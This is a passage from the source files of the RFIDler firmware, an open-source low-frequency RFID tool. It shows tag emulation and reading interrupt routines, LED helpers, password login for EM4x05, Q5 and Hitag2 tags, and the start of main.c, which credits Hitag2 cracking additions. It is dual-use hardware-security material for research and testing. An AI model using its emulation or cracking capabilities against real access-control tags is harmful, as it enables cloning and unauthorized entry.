Clock_Tick_Counter= Clock_Tick_Counter_Reset= 0;
Clock_Tick_Counter++;
// process RWD commands (if any)
switch (RWD_State)
{
case RWD_STATE_INACTIVE:
case RWD_STATE_ACTIVE:
//DEBUG_PIN_4= !DEBUG_PIN_4;
break;
case RWD_STATE_GO_TO_SLEEP:
//DEBUG_PIN_4= !DEBUG_PIN_4;
//DEBUG_PIN_4= !DEBUG_PIN_4;
// initial shutdown of coil to restart tag
READER_CLOCK_ENABLE_OFF(LOW);
// use our own clock ticks to time delay
count= 0;
RWD_State= RWD_STATE_SLEEPING;
break;
case RWD_STATE_SLEEPING:
if(count++ < RWD_Sleep_Period)
break;
// restart clock only if we have a wake period
if(RWD_Wake_Period)
READER_CLOCK_ENABLE_ON();
count= 0;
RWD_State= RWD_STATE_WAKING;
break;
case RWD_STATE_WAKING:
//DEBUG_PIN_4= !DEBUG_PIN_4;
// leave coil running for wakeup period
if(count++ < RWD_Wake_Period)
break;
if(*RWD_Command_ThisBit != '*')
RWD_State= RWD_STATE_START_SEND;
else
RWD_State= RWD_STATE_ACTIVE;
break;
case RWD_STATE_START_SEND:
//DEBUG_PIN_4= !DEBUG_PIN_4;
// send initial gap
READER_CLOCK_ENABLE_OFF(LOW);
count= 0;
RWD_State= RWD_STATE_SENDING_GAP;
break;
case RWD_STATE_SENDING_GAP:
if(count++ < RWD_Gap_Period)
break;
// gap over, switch clock back on
READER_CLOCK_ENABLE_ON();
count= 0;
RWD_State= RWD_STATE_SENDING_BIT;
//DEBUG_PIN_4= !DEBUG_PIN_4;
break;
case RWD_STATE_SENDING_BIT:
//DEBUG_PIN_4= !DEBUG_PIN_4;
if(*RWD_Command_ThisBit == '*')
{
RWD_State= RWD_STATE_POST_WAIT;
count= 0;
break;
}
// clock running for bit period, then wait for gap period
if((*RWD_Command_ThisBit && count == RWD_One_Period) || (!*RWD_Command_ThisBit && count == RWD_Zero_Period))
{
// start sending gap
READER_CLOCK_ENABLE_OFF(LOW);
++RWD_Command_ThisBit;
count= 0;
RWD_State= RWD_STATE_SENDING_GAP;
break;
}
else
count++;
break;
case RWD_STATE_POST_WAIT:
//DEBUG_PIN_4= !DEBUG_PIN_4;
// coil running for forced post-command wait period
if(count++ < RWD_Post_Wait)
break;
count= 0;
RWD_State= RWD_STATE_ACTIVE;
break;
default:
break;
}
}
// Emulate TAG ISR
// this ISR does the actual send of a '*' terminated bitstream
// mLED_Antenna is set during emulation, and can be used as a semaphore to detect emulation in progress
// note that the best resolution we can achieve on a pic32 seems to be 2us
//
// setup routine is responsible for:
//
// setting clock period and arming interrupt
// setting global variables:
//
// EMU_ThisBit - the next bit to output (as 0x00 or 0x01)
// *EMU_Data - pointer to array of 0x00/0x01 values, '*' terminated
// inital value should be &EMU_ThisBit + 1
// *EMU_Reset_Data - pointer to the complete data array
// EMU_Repeat - number of times to repeat full data pattern (0 means send once)
// EMU_Invert - Invert 0x00/0x01 values TRUE/FALSE
// EMU_DataBitRate - Frame Clocks Per Bit
// EMU_SubCarrier_T0 - 1st sub-carrier Frame Clocks
// EMU_SubCarrier_T1 - 2nd sub-carrier Frame Clocks
// EMU_Manchester - Manchester Encoding TRUE/FALSE
// EMU_BiPhase - BiPhase Encoding TRUE/FALSE
void __ISR(_TIMER_3_VECTOR, ipl7auto) emulation_send_bit (void)
{
static unsigned int count= 0;
// ack interrupt
mT3ClearIntFlag();
#ifdef RFIDLER_DEBUG
// show bit value
//DEBUG_PIN_1= EMU_ThisBit;
// show tick
//DEBUG_PIN_2= !DEBUG_PIN_2;
#endif
// are we finished?
if(EMU_ThisBit == '*')
{
if(!EMU_Background && !(EMU_Repeat--))
{
CloseTimer3();
mLED_Emulate_Off();
count= 0;
COIL_OUT= 0;
return;
}
// repeat
EMU_Data= EMU_Reset_Data;
EMU_ThisBit= *(EMU_Data++);
count= 0;
}
// count reflects the FC we are about to process, starting from 1
// so we can calulate bit periods and sub-carriers.
// count should be reset after each full bit.
++count;
// output and set up bit for next tick
switch(EmulationMode)
{
// ASK / OOK - we get called once per bit just toggle the line according to bit value
//
// MANCHESTER/BI_PHASE - we get called twice per bit, half-bit toggles
//
case MOD_MODE_ASK_OOK:
// output half-bit? manchester always toggles, biphase only toggles if it's a 1
if(count == EMU_SubCarrier_T0 && (RFIDlerConfig.Manchester || (RFIDlerConfig.BiPhase && (EMU_ThisBit ^ RFIDlerConfig.Invert))))
COIL_OUT= !COIL_OUT;
// output current bit
else
{
// biphase always toggles on a full bit period
if(RFIDlerConfig.BiPhase)
{
if (count % EMU_DataBitRate)
COIL_OUT= !COIL_OUT;
}
else
COIL_OUT= (EMU_ThisBit ^ RFIDlerConfig.Invert);
}
// is this a bit period?
if (count == EMU_DataBitRate)
{
// set the next bit value
EMU_ThisBit= *(EMU_Data++);
count= 0;
}
break;
// FSK - we get called N times per bit
// create sub-carriers T0 & T1 for bit values 0 and 1
// e.g. if bit period N is 40 ticks (RF/40) and T0 is RF/8 and T1 is RF/5
// then T0 is 8 ticks and T1 is 5 ticks.
// note that we must independantly check for end of bit period for each sub-carrier
// to cater for cases where there is no common clock multiple (e.g. HID: RF/8 & RF/10)
case MOD_MODE_FSK1:
case MOD_MODE_FSK2:
// output sub-carriers
// if current bit is a '1'
if(EMU_ThisBit ^ RFIDlerConfig.Invert)
{
if(!(count % EMU_SubCarrier_T1))
COIL_OUT= !COIL_OUT;
// rounded bit period?
if (!(count % ((EMU_DataBitRate / EMU_SubCarrier_T1) * EMU_SubCarrier_T1)))
{
// set the next bit value
EMU_ThisBit= *(EMU_Data++);
count= 0;
}
}
// if current bit is a '0'
else
{
if(!(count % EMU_SubCarrier_T0))
COIL_OUT= !COIL_OUT;
// rounded bit period?
if (!(count % ((EMU_DataBitRate / EMU_SubCarrier_T0) * EMU_SubCarrier_T0)))
{
// set the next bit value
EMU_ThisBit= *(EMU_Data++);
count= 0;
}
}
break;
// TODO: PSK2, PSK3
// PSK1 - we get called N times per bit
// create sub-carrier
// half-bit phase shift if bit changes
case MOD_MODE_PSK1:
// output sub-carrier?
if(!(count % EMU_SubCarrier_T0))
COIL_OUT= !COIL_OUT;
// output current bit
else
COIL_OUT= (EMU_ThisBit ^ RFIDlerConfig.Invert);
// is this is a bit period?
if (count == EMU_DataBitRate)
{
// set the next bit value
EMU_ThisBit= *(EMU_Data++);
count= 0;
}
break;
default:
break;
}
//#ifdef RFIDLER_DEBUG
// // show modulator
// DEBUG_PIN_3= COIL_OUT;
//#endif
}
// DATA reading ISR
void __ISR(_TIMER_4_VECTOR, ipl6auto) HW_read_bit(void)
{
unsigned int time;
static char out;
BOOL fskread= FALSE;
// show trigger moment (you must also set end of routine debugger statement)
DEBUG_PIN_1= HIGH;
// debugging - monitor with a logic analyser
// show read period
DEBUG_PIN_2= HIGH;
// reset interrupt
mT4ClearIntFlag();
// toggle bit period flag for analogue sampler
ReaderPeriod= !ReaderPeriod;
if(FakeRead)
return;
// don't do anything unless we've got data to read - we may have been left running due to higher level error.
if(!HW_Bits)
{
Reader_Bit_Count= 0L;
Previous= -1;
stop_HW_reader_ISR();
return;
}
// some tags lead a read with a fixed bit pattern that do not form part of the data, so skip if required (e.g. T5567)
if(HW_Skip_Bits)
{
--HW_Skip_Bits;
return;
}
DEBUG_PIN_1= LOW;
// show data value
//DEBUG_PIN_3= READER_DATA;
switch(RFIDlerConfig.Modulation)
{
case MOD_MODE_ASK_OOK:
// get current bit value
out= READER_DATA;
// if manchester encoded and first bit, then add a half bit that we
// lost when synchronising
if(!Reader_Bit_Count && RFIDlerConfig.Manchester)
++Reader_Bit_Count;
// check for manchester encoding sync/errors
if(RFIDlerConfig.Manchester && Reader_Bit_Count)
{
// the 2nd half bit may not be equal to the 1st
// this error is allowed to occur exactly once, in which case we
// are out of sync so we slip timing by half a bit
if(Reader_Bit_Count % 2 && out == Previous)
{
//DEBUG_PIN_4= !DEBUG_PIN_4;
// error LED on
mLED_Error_On();
if(Manchester_Error)
{
//DEBUG_PIN_4= !DEBUG_PIN_4;
// 2 strikes and we fail!
Reader_Bit_Count= 0L;
Previous= -1;
stop_HW_reader_ISR();
return;
}
else
{
//DEBUG_PIN_4= !DEBUG_PIN_4;
// 1st error - reset data and start again, now offset by a half bit.
Manchester_Error= TRUE;
//DEBUG_PIN_2= LOW;
EMU_Data -= (Reader_Bit_Count / 2L);
Reader_Bit_Count= 1L;
// successful read resets timeout
WriteTimer5(0);
return;
}
}
}
// now set data bit
// biphase is 1 if mid-bit change or 0 if no mid-bit change
if(RFIDlerConfig.BiPhase && Reader_Bit_Count % 2L)
{
if(Previous == out)
*(EMU_Data++)= 0x00 ^ RFIDlerConfig.Invert;
else
*(EMU_Data++)= 0x01 ^ RFIDlerConfig.Invert;
//DEBUG_PIN_1= *(EMU_Data - 1);
// successful read resets timeout
WriteTimer5(0);
}
// read data direct for normal ASK
if(!RFIDlerConfig.Manchester && !RFIDlerConfig.BiPhase)
{
//DEBUG_PIN_1= out;
*(EMU_Data++)= out ^ RFIDlerConfig.Invert;
// successful read resets timeout
WriteTimer5(0);
}
// read only 2nd half of bit if manchester
if(RFIDlerConfig.Manchester && Reader_Bit_Count % 2L)
{
//DEBUG_PIN_1= out;
// always invert as we are now reading 2nd half bit, so opposite value
*(EMU_Data++)= !(out ^ RFIDlerConfig.Invert);
// successful read resets timeout
WriteTimer5(0);
}
Previous= out;
break;
case MOD_MODE_FSK1:
case MOD_MODE_FSK2:
// to read FSK we will measure a pulse width. we must stop before end of bit period so we don't
// get caught by the next interrupt. accordingly our time period is shortened by 20%, but
// that should be OK as we only need to see a single pulse.
// IN HDX mode we read from the SNIFFER coil instead of the READER
//DEBUG_PIN_4= !DEBUG_PIN_4;
//time= CONVERT_TO_TICKS(RFIDlerConfig.FrameClock * (RFIDlerConfig.DataRate - (RFIDlerConfig.DataRate / 5)));
time= RFIDlerConfig.FrameClock * (RFIDlerConfig.DataRate - (RFIDlerConfig.DataRate / 5));
GetTimer_us(RESET);
// measure 2nd pulse
while(GetTimer_us(NO_RESET) < time && !fskread)
{
fskread= TRUE;
//DEBUG_PIN_4= !DEBUG_PIN_4;
// skip to first pulse
while(READER_DATA)
if(GetTimer_us(NO_RESET) > time)
{
fskread= FALSE;
break;
}
while(!READER_DATA)
if(GetTimer_us(NO_RESET) > time)
{
fskread= FALSE;
break;
}
// skip first pulse
while(READER_DATA)
if(GetTimer_us(NO_RESET) > time)
{
fskread= FALSE;
break;
}
while(!READER_DATA)
if(GetTimer_us(NO_RESET) > time)
{
fskread= FALSE;
break;
}
// measure second pulse
GetTimer_us(RESET);
//DEBUG_PIN_4= !DEBUG_PIN_4;
while(READER_DATA)
if(GetTimer_us(NO_RESET) > time)
{
fskread= FALSE;
break;
}
}
//DEBUG_PIN_4= !DEBUG_PIN_4;
// successful read resets timeout
if(fskread)
*(EMU_Data++)= (BYTE) GetTimer_us(RESET); // get pulsewidth in uS
break;
// TODO: PSK2, PSK3
case MOD_MODE_PSK1:
// READER_DATA goes high when a phase change occurs
// we toggle bit value on phase change
// data line should go high at start of bit period, but to allow for some lag
// we will wait for up to a full frame clock just to be sure
time= CONVERT_TO_TICKS(RFIDlerConfig.FrameClock);
WriteTimer5(0);
while(ReadTimer5() < time)
if(READER_DATA)
break;
// show toggle output
//DEBUG_PIN_1 ^= READER_DATA;
// get data
out ^= (READER_DATA ^ RFIDlerConfig.Invert);
// test read quality - pulsewidth wil be short if tag not correctly coupled
if(PSK_Min_Pulse && READER_DATA)
{
// fast reset timer
WriteTimer5(0);
//DEBUG_PIN_1 ^= 1;
while(READER_DATA)
;
time= GetTimer_us(NO_RESET);
if(time < PSK_Min_Pulse)
PSK_Read_Error= 1;
//DEBUG_PIN_1 ^= 1;
}
*(EMU_Data++)= out;
// successful read resets timeout
WriteTimer5(0);
break;
default:
break;
}
++Reader_Bit_Count;
// debugging - reset output line
DEBUG_PIN_2= LOW;
// finished?
if(Reader_Bit_Count == HW_Bits)
{
HW_Bits= Reader_Bit_Count= 0L;
Previous= -1;
// if only 1 manchester error caught, that's OK
Manchester_Error= FALSE;
mLED_Error_Off();
// stop reading, but leave clock running to preserve tag state - higher level will shut down when done
stop_HW_reader_ISR();
}
}
// end optimisation
#pragma GCC reset_options
================================================
FILE: firmware/Pic32/RFIDler.X/src/led.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "rfidler.h"
#include "led.h"
BOOL led_get(BYTE led)
{
BOOL state;
switch(led)
{
case 1:
state= mLED_1;
break;
case 2:
state= mLED_2;
break;
case 3:
state= mLED_3;
break;
case 4:
state= mLED_4;
break;
case 5:
state= mLED_5;
break;
case 6:
state= mLED_6;
break;
case 7:
state= mLED_7;
break;
default:
return FALSE;
}
return state;
}
BOOL led_set(BYTE led, BOOL state)
{
switch(led)
{
case 0:
mLED_1= state;
mLED_2= state;
mLED_3= state;
mLED_4= state;
mLED_5= state;
mLED_6= state;
mLED_7= state;
break;
case 1:
mLED_1= state;
break;
case 2:
mLED_2= state;
break;
case 3:
mLED_3= state;
break;
case 4:
mLED_4= state;
break;
case 5:
mLED_5= state;
break;
case 6:
mLED_6= state;
break;
case 7:
mLED_7= state;
break;
default:
return FALSE;
break;
}
return TRUE;
}
BOOL led_toggle(BYTE led)
{
BOOL state;
state= led_get(led);
return led_set(led, !state);
}
BOOL led_on(BYTE led)
{
return led_set(led, mLED_ON);
}
BOOL led_off(BYTE led)
{
return led_set(led, mLED_OFF);
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/login.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2014 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
#include "HardwareProfile.h"
#include "em.h"
#include "hitag.h"
#include "login.h"
#include "q5.h"
#include "rfidler.h"
// login with password - user "auth" for crypto modes
BOOL tag_login(unsigned int block, BYTE *response, BYTE *pwd)
{
switch (RFIDlerConfig.TagType)
{
case TAG_TYPE_EM4X05:
return em4x05_login(response, pwd);
case TAG_TYPE_Q5:
//case TAG_TYPE_T55X7:
return q5_login(response, pwd);
case TAG_TYPE_HITAG2:
return hitag2_pwd_auth(response, pwd);
default:
return FALSE;
}
}
================================================
FILE: firmware/Pic32/RFIDler.X/src/main.c
================================================
/***************************************************************************
* A copy of the GNU GPL is appended to this file. *
* *
* This licence is based on the nmap licence, and we express our gratitude *
* for the work that went into producing it. There is no other connection *
* between RFIDler and nmap either expressed or implied. *
* *
********************** IMPORTANT RFIDler LICENSE TERMS ********************
* *
* *
* All references to RFIDler herein imply all it's derivatives, namely: *
* *
* o RFIDler-LF Standard *
* o RFIDler-LF Lite *
* o RFIDler-LF Nekkid *
* *
* *
* RFIDler is (C) 2013-2017 Aperture Labs Ltd. *
* *
* This program is free software; you may redistribute and/or modify it *
* under the terms of the GNU General Public License as published by the *
* Free Software Foundation; Version 2 ("GPL"), BUT ONLY WITH ALL OF THE *
* CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN. This guarantees your *
* right to use, modify, and redistribute this software under certain *
* conditions. If you wish to embed RFIDler technology into proprietary *
* software or hardware, we sell alternative licenses *
* (contact sales@aperturelabs.com). *
* *
* Note that the GPL places important restrictions on "derivative works", *
* yet it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we interpret that term as broadly as copyright law *
* allows. For example, we consider an application to constitute a *
* derivative work for the purpose of this license if it does any of the *
* following with any software or content covered by this license *
* ("Covered Software"): *
* *
* o Integrates source code from Covered Software. *
* *
* o Is designed specifically to execute Covered Software and parse the *
* results (as opposed to typical shell or execution-menu apps, which will *
* execute anything you tell them to). *
* *
* o Includes Covered Software in a proprietary executable installer. The *
* installers produced by InstallShield are an example of this. Including *
* RFIDler with other software in compressed or archival form does not *
* trigger this provision, provided appropriate open source decompression *
* or de-archiving software is widely available for no charge. For the *
* purposes of this license, an installer is considered to include Covered *
* Software even if it actually retrieves a copy of Covered Software from *
* another source during runtime (such as by downloading it from the *
* Internet). *
* *
* o Links (statically or dynamically) to a library which does any of the *
* above. *
* *
* o Executes a helper program, module, or script to do any of the above. *
* *
* This list is not exclusive, but is meant to clarify our interpretation *
* of derived works with some common examples. Other people may interpret *
* the plain GPL differently, so we consider this a special exception to *
* the GPL that we apply to Covered Software. Works which meet any of *
* these conditions must conform to all of the terms of this license, *
* particularly including the GPL Section 3 requirements of providing *
* source code and allowing free redistribution of the work as a whole. *
* *
* As another special exception to the GPL terms, Aperture Labs Ltd. grants*
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included docs/licenses/OpenSSL.txt file, and distribute *
* linked combinations including the two. *
* *
* Any redistribution of Covered Software, including any derived works, *
* must obey and carry forward all of the terms of this license, including *
* obeying all GPL rules and restrictions. For example, source code of *
* the whole work must be provided and free redistribution must be *
* allowed. All GPL references to "this License", are to be treated as *
* including the terms and conditions of this license text as well. *
* *
* Because this license imposes special exceptions to the GPL, Covered *
* Work may not be combined (even as part of a larger work) with plain GPL *
* software. The terms, conditions, and exceptions of this license must *
* be included as well. This license is incompatible with some other open *
* source licenses as well. In some cases we can relicense portions of *
* RFIDler or grant special permissions to use it in other open source *
* software. Please contact sales@aperturelabs.com with any such requests.*
* Similarly, we don't incorporate incompatible open source software into *
* Covered Software without special permission from the copyright holders. *
* *
* If you have any questions about the licensing restrictions on using *
* RFIDler in other works, are happy to help. As mentioned above, we also *
* offer alternative license to integrate RFIDler into proprietary *
* applications and appliances. These contracts have been sold to dozens *
* of software vendors, and generally include a perpetual license as well *
* as providing for priority support and updates. They also fund the *
* continued development of RFIDler. Please email sales@aperturelabs.com *
* for further information. *
* If you have received a written license agreement or contract for *
* Covered Software stating terms other than these, you may choose to use *
* and redistribute Covered Software under those terms instead of these. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port RFIDler to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to the RFIDler mailing list for possible incorporation into the *
* main distribution. By sending these changes to Aperture Labs Ltd. or *
* one of the Aperture Labs Ltd. development mailing lists, or checking *
* them into the RFIDler source code repository, it is understood (unless *
* you specify otherwise) that you are offering the RFIDler Project *
* (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse, *
* modify, and relicense the code. RFIDler will always be available Open *
* Source, but this is important because the inability to relicense code *
* has caused devastating problems for other Free Software projects (such *
* as KDE and NASM). We also occasionally relicense the code to third *
* parties as discussed above. If you wish to specify special license *
* conditions of your contributions, just say so when you send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the RFIDler *
* license file for more details (it's in a COPYING file included with *
* RFIDler, and also available from *
* https://github.com/ApertureLabsLtd/RFIDler/COPYING *
* *
***************************************************************************/
// Author: Adam Laurie
//
// HITAG2 Cracking additions:
// Author: Kevin Sheldrake
#include "HardwareProfile.h"
#include "GenericTypeDefs.h"
#include "Compiler.h"
#include "usb_config.h"
#include "USB/usb.h"
#include "USB/usb_device.h"
#include "USB/usb_function_cdc.h"
#include "uart3.h"
#include "analogue.h"
#include "ask.h"
#include "auth.h"
#include "auto.h"
#include "clock.h"
#include "comms.h"
#include "config.h"
#include "detect.h"
#include "emulate.h"
#include "hitag.h"
#include "hitagcrypto.h"
#include "hitag2crack.h"
//#include "hitag2emu.h"
#include "indala.h"
#include "iso_7816.h"
#include "login.h"
#include "q5.h"
#include "rfidler.h"
#include "rwd.h"
#include "sc_config.h"
#include "sniff.h"
#include "tags.h"
#include "uid.h"
#include "util.h"
#include "vtag.h"
#include "wiegand.h"
#include "write.h"
// low level config
#pragma config CP = ON // Code Protect
#pragma config BWP = ON // Boot Flash Write Protect
#pragma config PWP = OFF // Program Flash Write Protect
#pragma config ICESEL = ICS_PGx2 // ICE/ICD Comm Channel Select
#pragma config DEBUG = OFF // Background Debugger Disable (interferes with bootloader)
//globals
BYTE Comms_In_Buffer[COMMS_BUFFER_SIZE];
BYTE Comms_Out_Buffer[COMMS_BUFFER_SIZE];
VirtualTag RFIDlerVTag; // semi-permanent TAG data
StoredConfig RFIDlerConfig;
BYTE EmulationMode= MOD_MODE_NONE;
BOOL SnifferMode= FALSE;
BOOL WiegandOutput= FALSE;
BYTE *EMU_Reset_Data; // Pointer to full array of bits, stored one bit per byte, '*' terminated
BYTE *EMU_Data; // Pointer to current location in EMU_Reset_Data
BYTE EMU_ThisBit; // The next data bit to transmit
